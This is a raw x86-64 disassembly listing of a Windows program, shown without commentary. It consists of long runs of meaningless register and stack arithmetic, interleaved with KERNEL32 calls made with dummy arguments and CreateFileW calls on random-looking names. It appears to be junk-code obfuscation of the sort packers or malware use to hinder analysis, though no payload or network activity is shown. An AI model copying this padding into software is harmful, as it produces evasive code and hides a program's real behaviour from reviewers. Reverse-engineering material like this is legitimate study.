mov rax, qword [0x140369ec8]
mov rcx, qword [rsp + 0x14a00]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x14c18]
mov dword [rcx], eax
lea rax, [rsp + 0x73a]
mov qword [rsp + 0x14f38], rax
mov rax, qword [rsp + 0x14930]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2ba8]
and eax, ecx
mov word [rsp + 0x1eb0], ax
mov eax, dword [rsp + 0xa04c]
mov ecx, dword [rsp + 0xa040]
sub ecx, eax
mov eax, ecx
mov dword [0x1403624f8], eax
mov eax, dword [rsp + 0x9f6c]
mov dword [rsp + 0xa09c], eax
mov rax, qword [rsp + 0x14cb8]
mov ecx, dword [0x140369de0]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x13f80]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13418]
mov rcx, qword [rsp + 0x13bc0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6588], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa0a0], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PostQueuedCompletionStatus]
lea rax, [rsp + 0x780]
mov qword [rsp + 0x14f40], rax
movzx eax, word [rsp + 0x2b90]
movzx ecx, word [rsp + 0x2b84]
add eax, ecx
mov rcx, qword [rsp + 0x13b58]
mov word [rcx], ax
lea rax, [rsp + 0x9db8]
mov qword [rsp + 0x14f48], rax
mov rcx, qword [rsp + 0x12be0]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa0a0], eax
mov eax, dword [rsp + 0x9bb4]
mov ecx, dword [rsp + 0x871c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13018]
mov dword [rcx], eax
mov eax, dword [0x140369fe0]
mov ecx, dword [rsp + 0x8a60]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14790]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14b18]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x9ccc]
sar eax, cl
mov rcx, qword [0x140369da0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13600]
mov ecx, dword [0x1403624d4]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x7a24], eax
movsx eax, word [rsp + 0x27a4]
mov rcx, qword [rsp + 0x136a0]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2c8c], ax
movzx eax, byte [rsp + 0x770]
mov byte [rsp + 0x786], al
mov rax, qword [rsp + 0x14e78]
movzx eax, byte [rax]
movzx ecx, byte [0x140363f5f]
imul eax, ecx
mov rcx, qword [rsp + 0x13710]
mov byte [rcx], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_InitAtomTable]
lea rax, [rsp + 0x2ba8]
mov qword [rsp + 0x14f50], rax
mov rax, qword [rsp + 0x13ff8]
mov ecx, dword [rsp + 0x9f38]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xa08c], eax
mov eax, dword [0x140369e34]
mov ecx, dword [rsp + 0x9c50]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x146d0]
mov dword [rcx], eax
movzx eax, word [rsp + 0x2c2c]
movzx ecx, word [rsp + 0x2c50]
and eax, ecx
mov word [rsp + 0x1b98], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x14f58], rax
lea rax, [rsp + 0x74d]
mov qword [0x14036a0d0], rax
mov edx, 0x11db
mov rcx, qword [rsp + 0x14640]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0xa078], eax
mov rax, qword [rsp + 0x131d0]
mov rcx, qword [rsp + 0x13670]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x12d68]
mov dword [rcx], eax
lea rax, [rsp + 0x9d00]
mov qword [rsp + 0x14f60], rax
xor r8d, r8d
mov edx, 8
lea rcx, [rsp + 0x4b910]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x9bf8], eax
mov rax, qword [rsp + 0x149c8]
mov ecx, dword [rsp + 0x9e48]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x13530]
mov dword [rcx], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x14100]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9808]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x8b20], eax
lea rax, [rsp + 0x753]
mov qword [rsp + 0x14f68], rax
movzx eax, word [rsp + 0x2ccc]
movzx ecx, word [rsp + 0x178c]
and eax, ecx
mov word [rsp + 0x2c34], ax
lea rdx, [rsp + 0x42a38]
mov rcx, qword [rsp + 0x13558]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9e24], eax
mov dword [rsp + 0x4c450], 0x11c
mov rax, qword [0x140369ec8]
mov eax, dword [rax]
mov dword [rsp + 0xa0a4], eax
mov rax, qword [rsp + 0x12ef0]
mov ecx, dword [rsp + 0x9e14]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9ebc], eax
movsx eax, byte [rsp + 0x73e]
movsx ecx, byte [rsp + 0x491]
sub eax, ecx
mov byte [0x140363efc], al
mov rax, qword [rsp + 0x147b8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x14e10]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1a88], ax
lea rax, [rsp + 0x2ca4]
mov qword [rsp + 0x14f70], rax
movzx eax, byte [rsp + 0x741]
mov rcx, qword [rsp + 0x13918]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x703], al
mov rax, qword [rsp + 0x13418]
mov eax, dword [rax]
mov dword [rsp + 0xa0a8], eax
mov rax, qword [rsp + 0x13298]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x14440]
mov qword [rsp + 0x14f78], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14f78]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x9f10], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalShrink]
lea rax, [rsp + 0x9a48]
mov qword [rsp + 0x14f80], rax
mov rax, qword [rsp + 0x132a8]
mov rcx, qword [rsp + 0x14c18]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x13088]
mov dword [rcx], eax
mov rax, qword [rsp + 0x145c0]
mov rcx, qword [rsp + 0x138d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x9c8c], eax
movzx eax, byte [rsp + 0x49b]
movzx ecx, byte [rsp + 0x69c]
and eax, ecx
mov byte [rsp + 0x36e], al
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9e90], eax
movzx eax, word [rsp + 0x1ab8]
mov word [0x14036a0d8], ax
mov rax, qword [rsp + 0x13c50]
mov rcx, qword [rsp + 0x142f8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6438], eax
lea rax, [rsp + 0x9eb0]
mov qword [rsp + 0x14f88], rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x2be
mov r9d, 0x2bf1
mov r8d, 0x96b7f5df
mov edx, 1
mov rcx, qword [rsp + 0x14e40]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x9bd4], eax
mov rax, qword [0x140369b90]
mov rcx, qword [rsp + 0x13908]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9bb4], eax
mov rax, qword [rsp + 0x14638]
mov rcx, qword [rsp + 0x14a58]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x13c08]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13f90]
movzx eax, byte [rax]
mov byte [rsp + 0x787], al
movzx eax, word [0x140369c88]
mov rcx, qword [rsp + 0x139b0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x13e00]
mov word [rcx], ax
mov rax, qword [rsp + 0x139c0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x76c]
or eax, ecx
mov byte [rsp + 0xd3], al
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa0ac], eax
movsx eax, word [rsp + 0x2cb4]
movsx ecx, word [rsp + 0x29ec]
sub eax, ecx
mov word [rsp + 0x12ec], ax
lea rax, [rsp + 0x9708]
mov qword [0x14036a0e0], rax
mov rax, qword [rsp + 0x14270]
mov ecx, dword [rsp + 0xa074]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9a78], eax
movzx eax, word [rsp + 0x25a0]
mov word [rsp + 0x2cfc], ax
movzx eax, byte [rsp + 0x510]
mov rcx, qword [rsp + 0x14660]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x132c0]
mov byte [rcx], al
lea rax, [rsp + 0x9cc0]
mov qword [rsp + 0x14f90], rax
mov rax, qword [rsp + 0x13af0]
mov rcx, qword [rsp + 0x14ae8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x137e8]
mov dword [rcx], eax
lea rdx, [rsp + 0x42b18]
mov rcx, qword [rsp + 0x13a78]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9ed0], eax
mov eax, dword [rsp + 0x9db0]
mov ecx, dword [rsp + 0x69f4]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14be8]
mov dword [rcx], eax
lea rax, [rsp + 0x5b2c]
mov qword [rsp + 0x14f98], rax
mov rax, qword [rsp + 0x133c8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2c08]
shl eax, cl
mov rcx, qword [rsp + 0x144c8]
mov word [rcx], ax
mov rax, qword [rsp + 0x14e78]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x75f]
sar eax, cl
mov rcx, qword [0x140369db8]
mov byte [rcx], al
lea rax, [rsp + 0x9b54]
mov qword [rsp + 0x14fa0], rax
mov rax, qword [rsp + 0x13f60]
mov rcx, qword [0x140369eb0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x14220]
mov dword [rcx], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetMessageWaitingIndicator]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x200
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 1
mov edx, 0xc0000000
lea rcx, str.omudTcY0HRJvdnyw3
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x14fa8], rax
mov rax, qword [rsp + 0x13b38]
mov ecx, dword [rsp + 0x7ccc]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x7dcc], eax
mov eax, dword [0x140362470]
mov ecx, dword [rsp + 0x9bb4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x130c8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x9cc4]
mov ecx, dword [rsp + 0x8e74]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x99b4], eax
movzx eax, word [rsp + 0x2c78]
mov word [rsp + 0x2d00], ax
mov rax, qword [rsp + 0x14cf8]
movsx eax, byte [rax]
mov rcx, qword [0x140369ca8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x491], al
mov rax, qword [rsp + 0x14dd8]
movzx eax, word [rax]
mov word [rsp + 0x2d04], ax
movzx eax, byte [rsp + 0x72d]
movzx ecx, byte [rsp + 0x72a]
and eax, ecx
mov rcx, qword [0x140369c38]
mov byte [rcx], al
mov rax, qword [0x140369fd0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9a80]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7074], eax
mov rax, qword [rsp + 0x13920]
mov ecx, dword [rsp + 0x8e20]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x14058]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13158]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13af8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2280], ax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x39aa
mov r9d, 0x3cc1
mov r8d, 0x9a771ec5
mov edx, 2
mov rcx, qword [rsp + 0x13648]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x9a68], eax
mov rax, qword [rsp + 0x14448]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x702]
add eax, ecx
mov rcx, qword [rsp + 0x13a88]
mov byte [rcx], al
lea rax, [rsp + 0x99b4]
mov qword [rsp + 0x14fb0], rax
mov rax, qword [0x14036a0e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6850]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14d70]
mov dword [rcx], eax
mov edx, 0x1e6c
mov rcx, qword [rsp + 0x13458]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x9ee8], eax
mov rax, qword [rsp + 0x14078]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x12ea8]
mov qword [rsp + 0x14fb8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14fb8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x52fc], eax
mov eax, dword [rsp + 0x9eb4]
mov dword [rsp + 0xa0b0], eax
lea rax, [rsp + 0x243]
mov qword [0x14036a0e8], rax
mov rax, qword [rsp + 0x14b40]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2c00]
xor eax, ecx
mov rcx, qword [rsp + 0x14bb8]
mov word [rcx], ax
mov eax, dword [rsp + 0x99e4]
mov rcx, qword [rsp + 0x14160]
mov qword [rsp + 0x14fc0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14fc0]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x8d78], eax
mov rax, qword [0x140369f70]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9bfc]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13688]
mov dword [rcx], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 4
mov edx, 0x80000000
lea rcx, str.VTEotUT4agymQe9gVEKXexscBZ
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x14fc8], rax
lea rax, [rsp + 0x29ec]
mov qword [rsp + 0x14fd0], rax
mov rax, qword [rsp + 0x148b8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x12ed0]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x71b], al
movzx eax, word [rsp + 0x2198]
movzx ecx, word [rsp + 0x2ba4]
and eax, ecx
mov word [rsp + 0x288c], ax
mov rax, qword [rsp + 0x13f88]
movzx eax, byte [rax]
mov byte [rsp + 0x788], al
mov rax, qword [rsp + 0x14a40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9970]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12cf8]
mov dword [rcx], eax
mov rax, qword [0x140369eb0]
mov ecx, dword [rsp + 0xa05c]
mov eax, dword [rax]
add eax, ecx
mov dword [0x14036244c], eax
mov rax, qword [rsp + 0x14748]
mov eax, dword [rax]
mov dword [rsp + 0xa0b4], eax
mov rax, qword [rsp + 0x13d68]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8c68]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13ac8]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9f24], eax
mov rax, qword [0x140369bb8]
mov rcx, qword [rsp + 0x13488]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x14968]
mov dword [rcx], eax
lea rax, [rsp + 0x2bf8]
mov qword [rsp + 0x14fd8], rax
mov rax, qword [rsp + 0x14d40]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x73d]
and eax, ecx
mov byte [rsp + 0x73a], al
lea rax, [0x1403624a8]
mov qword [rsp + 0x14fe0], rax
mov rax, qword [rsp + 0x14d78]
mov ecx, dword [rsp + 0x6b70]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x9b54], eax
mov rax, qword [rsp + 0x14390]
mov rcx, qword [rsp + 0x141d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x13720]
mov dword [rcx], eax
lea rax, [rsp + 0x9f04]
mov qword [0x14036a0f0], rax
mov rax, qword [rsp + 0x13708]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x780]
xor eax, ecx
mov byte [rsp + 0x1f7], al
movzx eax, word [rsp + 0x1168]
movzx ecx, word [0x140362488]
sar eax, cl
mov rcx, qword [rsp + 0x13b68]
mov word [rcx], ax
lea rdx, [rsp + 0x43100]
mov rcx, qword [rsp + 0x134a8]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9eec], eax
mov edx, 0xfd4
mov rcx, qword [rsp + 0x14140]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x9a08], eax
mov rax, qword [rsp + 0x139c0]
movzx eax, byte [rax]
mov byte [rsp + 0x789], al
movsx eax, word [rsp + 0x2c10]
movsx ecx, word [rsp + 0x2c5c]
shl eax, cl
mov word [rsp + 0x2cac], ax
mov rax, qword [rsp + 0x13df0]
mov rcx, qword [rsp + 0x14b68]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x5414], eax
mov eax, dword [rsp + 0x9a48]
mov ecx, dword [rsp + 0x86dc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5ac8], eax
mov rax, qword [rsp + 0x136a8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x77f]
or eax, ecx
mov rcx, qword [rsp + 0x14768]
mov byte [rcx], al
mov rax, qword [0x14036a098]
movzx eax, word [rax]
mov word [rsp + 0x2d08], ax
mov rax, qword [rsp + 0x143e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa098]
add ecx, eax
mov eax, ecx
mov rcx, qword [0x14036a0e0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13cc0]
mov rcx, qword [rsp + 0x14038]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x9e5c], eax
mov rax, qword [rsp + 0x14788]
mov eax, dword [rax]
mov dword [rsp + 0xa0b8], eax
mov rax, qword [rsp + 0x12f68]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9b90]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x133c0]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x764]
movzx ecx, byte [rsp + 0x740]
sub eax, ecx
mov byte [rsp + 0x76b], al
lea rax, [rsp + 0x2bf4]
mov qword [rsp + 0x14fe8], rax
mov rax, qword [rsp + 0x130c8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa0b0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7c50], eax
mov eax, dword [0x140369be8]
mov ecx, dword [rsp + 0xa01c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7cdc], eax
mov eax, dword [rsp + 0x9d98]
mov ecx, dword [rsp + 0x9d1c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x138d0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13600]
mov rcx, qword [rsp + 0x14098]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [0x1403624fc], eax
mov rax, qword [rsp + 0x132a8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x14980]
mov qword [rsp + 0x14ff0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14ff0]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x12fc8]
mov dword [rcx], eax
mov dword [rsp + 0x20], 0x3512
mov r9d, 0x25f8
mov r8d, 0x934
mov edx, 0x30
mov rcx, qword [rsp + 0x14398]
call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [rsp + 0x9fe4], eax
lea rax, [rsp + 0x2d00]
mov qword [rsp + 0x14ff8], rax
mov dword [rsp + 0x4c570], 0x11c
movsx eax, byte [rsp + 0x77d]
mov rcx, qword [rsp + 0x13050]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x14cf8]
mov byte [rcx], al
lea rax, [rsp + 0x243]
mov qword [rsp + 0x15000], rax
movzx eax, word [rsp + 0x1a10]
mov rcx, qword [rsp + 0x14730]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2b9c], ax
mov rax, qword [rsp + 0x13700]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9e68]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x142f8]
mov dword [rcx], eax
lea rax, [rsp + 0x9c8c]
mov qword [rsp + 0x15008], rax
mov rax, qword [rsp + 0x13738]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13308]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2bd4], ax
mov rax, qword [rsp + 0x14a38]
movzx eax, byte [rax]
mov byte [0x140363f6c], al
lea rax, [0x140369f68]
mov qword [rsp + 0x15010], rax
mov rax, qword [rsp + 0x14070]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9bc4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9ae8], eax
mov rax, qword [rsp + 0x130e8]
mov rcx, qword [rsp + 0x14970]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x13b00]
mov dword [rcx], eax
lea rax, [rsp + 0x7b60]
mov qword [rsp + 0x15018], rax
mov rax, qword [rsp + 0x13e00]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x25a0]
sub eax, ecx
mov rcx, qword [rsp + 0x13fa0]
mov word [rcx], ax
mov dword [rsp + 0x20], 0xf8c
mov r9d, 0x3145
mov r8d, 0x17d7
mov edx, 0x2039
mov rcx, qword [rsp + 0x14d68]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x9ae0], eax
lea rax, [rsp + 0x732]
mov qword [rsp + 0x15020], rax
mov eax, dword [0x14036a00c]
mov ecx, dword [rsp + 0x9c90]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14ea8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x142f0]
mov eax, dword [rax]
mov dword [rsp + 0xa0bc], eax
mov rcx, qword [rsp + 0x13ae8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rdx, [rsp + 0x42bf8]
mov rcx, qword [rsp + 0x14f28]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xa0c0], eax
movsx eax, byte [rsp + 0x754]
movsx ecx, byte [rsp + 0x770]
add eax, ecx
mov rcx, qword [0x140369ed8]
mov byte [rcx], al
mov rax, qword [rsp + 0x13330]
movsx eax, word [rax]
movsx ecx, word [0x140369f2c]
sub eax, ecx
mov rcx, qword [rsp + 0x13310]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9b80], eax
mov rax, qword [rsp + 0x132e8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14bf8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x2e0], al
lea rax, [rsp + 0x20d8]
mov qword [rsp + 0x15028], rax
mov rax, qword [0x140369bd0]
mov ecx, dword [rsp + 0x9a64]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9f78], eax
lea rax, [rsp + 0x98f0]
mov qword [rsp + 0x15030], rax
mov rax, qword [rsp + 0x13808]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa0b4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13b50]
mov dword [rcx], eax
mov rax, qword [rsp + 0x146b0]
mov rcx, qword [rsp + 0x13a70]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x13988]
mov dword [rcx], eax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x36a4
mov r9d, 0x2dd
mov r8d, 0xee8d0e3f
mov edx, 1
mov rcx, qword [rsp + 0x13c58]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x9a44], eax
mov rax, qword [rsp + 0x12eb8]
mov ecx, dword [rsp + 0x9fcc]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x64e8], eax
mov rax, qword [rsp + 0x14f50]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x29ac]
sar eax, cl
mov rcx, qword [rsp + 0x13ed0]
mov word [rcx], ax
mov dword [rsp + 0x4c690], 0x11c
mov rax, qword [rsp + 0x13650]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x77f]
shl eax, cl
mov byte [0x1403525ca], al
mov eax, dword [rsp + 0x9ab0]
mov dword [rsp + 0xa0c4], eax
mov eax, dword [rsp + 0x9bc4]
mov ecx, dword [rsp + 0x7fd0]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x9c1c], eax
lea rdx, [rsp + 0x42ed0]
mov rcx, qword [rsp + 0x14550]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9a3c], eax
mov rax, qword [rsp + 0x14f90]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9ae8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x9fec], eax
mov rax, qword [rsp + 0x135b0]
mov ecx, dword [rsp + 0x9d64]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x6a74], eax
mov rax, qword [rsp + 0x138a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2bfc]
sub eax, ecx
mov word [rsp + 0x2c80], ax
mov rax, qword [rsp + 0x13460]
movzx eax, byte [rax]
mov byte [rsp + 0x78a], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movsx eax, word [rsp + 0x1640]
mov rcx, qword [rsp + 0x13268]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x14d60]
mov word [rcx], ax
lea rax, [rsp + 0x751]
mov qword [rsp + 0x15038], rax
mov rax, qword [rsp + 0x13ea8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8214]
sub ecx, eax
mov eax, ecx
mov rcx, qword [0x14036a0a8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x9fd4]
mov ecx, dword [rsp + 0x9ed8]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x130e8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14ee0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x708]
add eax, ecx
mov byte [rsp + 0x630], al
mov rax, qword [rsp + 0x139b0]
movzx eax, word [rax]
mov word [rsp + 0x2d0c], ax
mov rax, qword [rsp + 0x14ed0]
mov ecx, dword [rsp + 0x9c24]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9f74], eax
mov rcx, qword [rsp + 0x14140]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x12d88]
mov ecx, dword [rsp + 0x67d8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x5260], eax
mov eax, dword [rsp + 0x9cd0]
movzx ecx, al
mov eax, dword [rsp + 0x8924]
sar eax, cl
mov rcx, qword [rsp + 0x13d40]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14f20]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x9d40]
shl eax, cl
mov dword [rsp + 0x9f48], eax
lea rax, [rsp + 0x361]
mov qword [rsp + 0x15040], rax
lea rax, [rsp + 0x2978]
mov qword [0x14036a0f8], rax
mov rax, qword [rsp + 0x12d88]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9e2c]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13d90]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa024]
mov dword [rsp + 0xa0c8], eax
mov rax, qword [rsp + 0x144a0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9ebc]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x132d0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x9b88]
mov ecx, dword [rsp + 0x9dc8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x871c], eax
xor r8d, r8d
mov edx, 0x10
lea rcx, [rsp + 0x4c210]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x9a58], eax
mov rax, qword [rsp + 0x144e8]
mov rcx, qword [rsp + 0x13768]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x58e8], eax
movsx eax, byte [rsp + 0x789]
movsx ecx, byte [0x140363edd]
sub eax, ecx
